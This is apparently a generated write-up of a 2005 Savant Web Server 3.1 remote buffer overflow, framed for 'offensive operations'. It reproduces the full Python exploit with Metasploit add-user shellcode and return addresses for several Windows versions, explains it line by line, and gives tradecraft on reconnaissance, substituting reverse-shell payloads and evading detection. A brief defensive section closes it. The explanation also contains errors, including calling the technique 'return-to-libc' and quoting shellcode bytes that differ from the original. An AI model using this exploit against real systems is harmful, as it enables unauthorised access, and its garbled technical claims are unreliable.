Savant Web Server 3.1 Buffer Overflow: A Deep Dive for Offensive Operations

Savant Web Server 3.1 Buffer Overflow: A Deep Dive for Offensive Operations
What this paper is
This paper details a remote buffer overflow vulnerability in the Savant Web Server version 3.1, specifically for French Windows operating systems. It provides a Python script that exploits this vulnerability to gain remote code execution. The exploit targets a specific function within the ws2help.dll library to control the program's execution flow.
Simple technical breakdown
The Savant Web Server, when handling certain HTTP requests, has a flaw in how it processes user-supplied data. Specifically, it doesn't properly check the length of data it copies into a fixed-size buffer. An attacker can send a specially crafted HTTP request with an overly long string. This string overwrites adjacent memory, including the return address on the program's call stack. By carefully crafting this string, the attacker can redirect the program's execution to malicious code (shellcode) that they've also injected into the buffer.
The provided exploit uses a technique called "return-to-libc" or a similar variant, where it overwrites the return address with a pointer to a function that helps set up the execution environment for the shellcode. This function, found in ws2help.dll, is used to pop values off the stack into registers, which is often a prerequisite for shellcode execution.
Complete code and payload walkthrough
Let's break down the Python script and the shellcode.
Python Script Structure:
import struct
import socket
# Shellcode definition
sc = "\x90" * 21 # NOP sled
# ... (long string of shellcode bytes) ...
sc += "AA" # Padding
# Buffer construction (commented out examples)
# buf = "\xEB\x19" + " /" + sc + struct.pack("<L",0x750236b2) + "\r\n\r\n" # Win2k SP0,1,2,3,4
# buf = "\x90" * 24 + " /" + sc + struct.pack("<L",0x74fa2ac5) + "\r\n\r\n" # Win 2K SP4 FR
# buf = "\x90" * 24 + " /" + sc + struct.pack("<L",0x719e260e) + "\r\n\r\n" # Win XP SP2 FR
# Socket connection and sending
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',80))
s.send(buf)
s.close()Code Fragment/Block -> Practical Purpose Mapping:
import struct: Imports thestructmodule, used for packing and unpacking binary data, specifically for converting Python integers into their byte representations (e.g., for the return address).import socket: Imports thesocketmodule, used for network communication (creating a connection and sending data).sc = "\x90" * 21: Defines a stringscfilled with 21 NOP (No Operation) instructions (\x90). This is a "NOP sled." Its purpose is to provide a small buffer zone. If the exact landing address for the shellcode is slightly off, the program will execute the NOPs until it hits the actual shellcode.sc += "\x31\xc9\x83\xe9\xcc\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8\x23\x73\xe4\x83\xeb\xfc\xe2\xf4\x24\xcb\x35\xe4\xd8\x23\xf8\xa1\xe4\xa8\x0f\xe1\xa0\x22\x9c\x6f\x97\x3b\xf8\xbb\xf8\x22\x98\x07\xf6\x6a\xf8\xd0\x53\x22\x9d\xd5\x18\xba\xdf\x60\x18\x57\x74\x25\x12\x2e\x72\x26\x33\xd7\x48\xb0\xfc\x27\x06\x07\x53\x7c\x57\xe5\x33\x45\xf8\xe8\x93\xa8\x2c\xf8\xd9\xc8\xf8\xf8\x53\x22\x98\x6d\x84\x07\x77\x27\xe9\xe3\x17\x6f\x98\x13\xf6\x24\xa0\x2c\xf8\xa4\xd4\xa8\x03\xf8\x75\xa8\x1b\xec\x31\x28\x73\xe4\xd8\xa8\x33\xd0\xdd\x5f\x73\xe4\xd8\xa8\x1b\xd8\x87\x12\x85\x84\x8e\xc8\x7e\x8c\x37\xed\x93\x84\xb0\xbb\x8d\x6e\xd6\x74\x8c\x03\x30\xcd\x8c\x1b\x27\x40\x1e\x80\xf6\x46\x0b\x81\xf8\x0c\x10\xc4\xb6\x46\x07\xc4\xad\x50\x16\x96\xf8\x7b\x53\x94\xaf\x47\x53\xcb\x99\x67\x37\xe4": This is the main shellcode payload. Based on the comment# win32_adduser - PASS=pwd EXITFUNC=thread USER=X Size=232 Encoder=PexFnstenvSub http://metasploit.com, this shellcode is likely designed to add a new user to the system with a specific password and then exit cleanly. ThePexFnstenvSubencoder suggests it's a Metasploit-generated payload, designed to be small and evasive. The exact functionality of each byte sequence is complex and would require a disassembler and debugger to fully analyze, but its purpose is to execute commands on the target.sc += "AA": Appends two 'A' characters to the shellcode. This is likely padding to align the shellcode or to ensure it ends with specific bytes if the preceding shellcode doesn't naturally fill the intended buffer space.# Change Return address as needed: These are commented-out lines demonstrating how the exploit buffer (buf) is constructed. The core idea is to create a string that, when sent to the server, triggers the overflow.buf = "\xEB\x19" + " /" + sc + struct.pack("<L",0x750236b2) + "\r\n\r\n": This is an example of a constructed buffer."\xEB\x19": A short jump instruction. This might be used to jump over some initial data or to reach the main payload." /": Likely part of an HTTP request, possibly a malformed GET request path.sc: The NOP sled and shellcode.struct.pack("<L",0x750236b2): This is crucial. It takes the hexadecimal address0x750236b2and packs it as a little-endian (<) unsigned long (L). This address is the "return address" that will be overwritten on the stack. The exploit aims to make the program jump to this address after the vulnerable function returns. The comment indicates this address is for "Win2k SP0,1,2,3,4 (US...)"."\r\n\r\n": Standard HTTP request termination sequence.
# Win 2K SP4 FR (Found with findjmp2 by Class101 ;) ...: These commented lines show alternative return addresses for different Windows versions and service pack levels, specifically mentioning French OS support.0x74fa2ac5: Another return address for Win 2K SP4 FR.0x719e260d: Another return address for Win XP SP2 FR."\x90" * 24: These lines often include a larger NOP sled (24 bytes) before the shellcode. This increases the chance of landing within the NOPs if the exact overflow point is slightly variable.
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM): Creates a new TCP socket.s.connect(('127.0.0.1',80)): Connects the socket to the local machine (127.0.0.1) on port 80, which is the default for HTTP.s.send(buf): Sends the constructed exploit buffer (buf) over the network connection to the Savant Web Server.s.close(): Closes the network connection.
Shellcode Stage Analysis (Conceptual):
The shellcode provided is a complex sequence of bytes. Without a disassembler and debugger, a precise byte-by-byte analysis is challenging. However, based on the Metasploit comment and typical shellcode structure, it can be conceptually broken down:
- Initialization/Setup: The initial bytes (
\x31\xc9\x83\xe9\xccetc.) are likely setting up registers, disabling stack protection, and preparing the environment for execution. - Encoder/Decoder Stub: The
PexFnstenvSubencoder suggests there might be a small stub that decodes the main payload. This is a common technique to reduce the size of the shellcode and evade simple signature-based detection. - Core Functionality (adduser): The bulk of the shellcode is dedicated to performing the intended action: adding a user. This involves:
- Finding necessary Windows API functions (e.g.,
CreateProcess,Advapi32.dllfunctions for user management). - Constructing the command to add a user (e.g.,
net user X pwd /add). - Executing this command.
- Finding necessary Windows API functions (e.g.,
- Exit Function: The
EXITFUNC=threadpart of the comment indicates that after executing the command, the shellcode should cleanly terminate the thread it's running in, preventing the server process from crashing unexpectedly.
Unknowns:
- The exact sequence of API calls and their addresses within the shellcode is not explicitly detailed in the paper.
- The precise buffer size and overflow offset are not stated, but implied by the NOP sled length and the structure of
buf. - The specific vulnerability trigger within the Savant Web Server's request handling is not detailed, only that it's a buffer overflow.
Practical details for offensive operations teams
- Required Access Level: Network access to the target machine on port 80 (HTTP). No local access or elevated privileges are required for the initial exploit delivery.
- Lab Preconditions:
- A vulnerable Savant Web Server 3.1 instance running on a French Windows OS (e.g., Windows 2000, Windows XP).
- Network connectivity from the attacker's machine to the target server's port 80.
- The
ws2help.dlllibrary must be present and loaded by the web server process, and the target return addresses must point to valid executable code within it.
- Tooling Assumptions:
- Python interpreter for running the exploit script.
- A network scanner (like Nmap) to identify target IP addresses and open port 80.
- A vulnerability scanner or manual reconnaissance to confirm the presence of Savant Web Server 3.1.
- A debugger (like WinDbg) and disassembler (like IDA Pro) for detailed analysis and adaptation of shellcode/return addresses.
- Execution Pitfalls:
- Incorrect Return Address: The most common failure point. The exploit relies on a specific return address within
ws2help.dllthat is valid for the target OS version and service pack. If the target system has a different version or if the DLL has been patched, the exploit will fail. The commented-out addresses highlight this dependency. - Shellcode Size/Encoding: The shellcode might be too large for the available buffer space after the overflow, or it might be detected by host-based intrusion prevention systems (HIPS) or antivirus.
- Network Latency/Packet Loss: Unreliable network conditions can cause the
send()operation to fail or the server to not receive the full payload. - Server Configuration: Firewalls or Intrusion Detection Systems (IDS) might block the connection or the malicious HTTP request.
- ASLR/DEP: While less prevalent in 2005, modern systems with Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP) would make this type of direct shellcode injection much harder without additional exploitation techniques.
- Incorrect Return Address: The most common failure point. The exploit relies on a specific return address within
- Tradecraft Considerations:
- Reconnaissance: Thoroughly identify the target web server version and operating system. This is critical for selecting the correct return address. Tools like
whatwebor manual HTTP header analysis can help. - Payload Customization: The provided shellcode adds a user. For real-world scenarios, operators would likely use a more versatile payload (e.g., a reverse shell) and ensure it's properly encoded to evade detection.
- Stealth: The exploit sends a raw HTTP request. While not inherently noisy, the subsequent actions of the shellcode (e.g., creating a user) will leave traces.
- Targeted Approach: This exploit is highly specific to Savant Web Server 3.1 and French Windows. It's not a general-purpose exploit.
- Reconnaissance: Thoroughly identify the target web server version and operating system. This is critical for selecting the correct return address. Tools like
Where this was used and when
- Context: This exploit was published in February 2005. At that time, buffer overflow vulnerabilities were a primary method for gaining remote code execution. Web servers were common targets due to their internet-facing nature.
- Usage: Exploits like this were typically used by security researchers for penetration testing, by malicious actors for unauthorized access, and sometimes by nation-states for espionage. The specific mention of "French Windows" suggests a focus on localization issues or a targeted attack scenario.
Defensive lessons for modern teams
- Patch Management: The most effective defense is to ensure all web server software and operating systems are kept up-to-date with security patches. Savant Web Server 3.1 is very old and likely unsupported.
- Input Validation: Developers must rigorously validate all user-supplied input, especially when it's used in memory operations. This includes checking lengths, formats, and character sets.
- Secure Coding Practices: Employing secure coding guidelines and using static/dynamic analysis tools can help identify and prevent buffer overflow vulnerabilities during development.
- Runtime Protections: Modern operating systems have built-in protections like ASLR and DEP that make classic buffer overflows significantly harder to exploit. Firewalls and Intrusion Detection/Prevention Systems (IDS/IPS) can detect and block malicious network traffic patterns.
- Least Privilege: Even if an exploit succeeds, limiting the privileges of the web server process can minimize the impact of a successful compromise. Creating new users with administrative rights should be a highly scrutinized action.
- Logging and Monitoring: Comprehensive logging of web server activity and system events can help detect suspicious activity, such as unusual HTTP requests or unexpected user creation.
ASCII visual (if applicable)
This exploit relies on manipulating the call stack. A simplified visual representation of the stack overflow could be:
+-------------------+
| ... other data |
+-------------------+
| Return Address | <--- Overwritten by exploit
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables |
+-------------------+
| ... Buffer ... |
+-------------------+
| Attacker's Data | <--- Overflows into Return Address
| (Shellcode + NOPs)|
+-------------------+Explanation:
- The program allocates space on the stack for local variables and a buffer.
- When a function is called, the return address (where execution should resume after the function finishes) is pushed onto the stack.
- The vulnerable code copies data into the buffer without checking its size.
- If the data is too large, it overflows the buffer and overwrites subsequent data on the stack, including the return address.
- The attacker crafts the overflowing data to contain their shellcode and then places a malicious address (pointing to the shellcode or a helper function) at the location of the return address.
- When the vulnerable function returns, instead of going back to the legitimate caller, it jumps to the attacker-controlled address, executing the shellcode.
Source references
- Paper ID: 819
- Paper Title: Savant Web Server 3.1 (French Windows)- Remote Buffer Overflow
- Author: Jerome Athias
- Published: 2005-02-15
- Keywords: Windows, remote
- Paper URL: https://www.exploit-db.com/papers/819
- Raw Exploit URL: https://www.exploit-db.com/raw/819
Original Exploit-DB Content (Verbatim)
#########################################################
# #
# Savant web server Buffer Overflow Exploit #
# Discovered by : Mati Aharoni #
# Coded by : Tal Zeltzer and Mati Aharoni #
# www.see-security.com #
# FOR RESEACRH PURPOSES ONLY! #
# FRench Win OS support by Jerome Athias #
#########################################################
import struct
import socket
sc = "\x90" * 21 #We need this number of nops
# win32_adduser - PASS=pwd EXITFUNC=thread USER=X Size=232 Encoder=PexFnstenvSub http://metasploit.com
sc += "\x31\xc9\x83\xe9\xcc\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
sc += "\x23\x73\xe4\x83\xeb\xfc\xe2\xf4\x24\xcb\x35\xe4\xd8\x23\xf8\xa1"
sc += "\xe4\xa8\x0f\xe1\xa0\x22\x9c\x6f\x97\x3b\xf8\xbb\xf8\x22\x98\x07"
sc += "\xf6\x6a\xf8\xd0\x53\x22\x9d\xd5\x18\xba\xdf\x60\x18\x57\x74\x25"
sc += "\x12\x2e\x72\x26\x33\xd7\x48\xb0\xfc\x27\x06\x07\x53\x7c\x57\xe5"
sc += "\x33\x45\xf8\xe8\x93\xa8\x2c\xf8\xd9\xc8\xf8\xf8\x53\x22\x98\x6d"
sc += "\x84\x07\x77\x27\xe9\xe3\x17\x6f\x98\x13\xf6\x24\xa0\x2c\xf8\xa4"
sc += "\xd4\xa8\x03\xf8\x75\xa8\x1b\xec\x31\x28\x73\xe4\xd8\xa8\x33\xd0"
sc += "\xdd\x5f\x73\xe4\xd8\xa8\x1b\xd8\x87\x12\x85\x84\x8e\xc8\x7e\x8c"
sc += "\x37\xed\x93\x84\xb0\xbb\x8d\x6e\xd6\x74\x8c\x03\x30\xcd\x8c\x1b"
sc += "\x27\x40\x1e\x80\xf6\x46\x0b\x81\xf8\x0c\x10\xc4\xb6\x46\x07\xc4"
sc += "\xad\x50\x16\x96\xf8\x7b\x53\x94\xaf\x47\x53\xcb\x99\x67\x37\xc4"
sc += "\xfe\x05\x53\x8a\xbd\x57\x53\x88\xb7\x40\x12\x88\xbf\x51\x1c\x91"
sc += "\xa8\x03\x32\x80\xb5\x4a\x1d\x8d\xab\x57\x01\x85\xac\x4c\x01\x97"
sc += "\xf8\x7b\x53\xcb\x99\x67\x37\xe4";
sc += "AA"
# Win2k SP0,1,2,3,4 (US...)
#Change Return address as needed
#buf = "\xEB\x19" + " /" + sc + struct.pack("<L",0x750236b2) + "\r\n\r\n"
#0x74FA2AC4 pop esi - pop - ret ws2help.dll Win 2K SP4 FR (Found with findjmp2 by Class101 ;)
#buf = "\x90" * 24 + " /" + sc + struct.pack("<L",0x74fa2ac5) + "\r\n\r\n" #EB becomes CB...? so i changed it by nops
#Win XP SP2 FR?
#0x719E260D pop esi - pop - ret ws2help.dll Win XP SP2 FR (Found with findjmp2 by Class101 ;)
#buf = "\x90" * 24 + " /" + sc + struct.pack("<L",0x719e260e) + "\r\n\r\n" #EB becomes CB...? so i changed it by nops
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',80))
s.send(buf)
s.close()
# milw0rm.com [2005-02-15]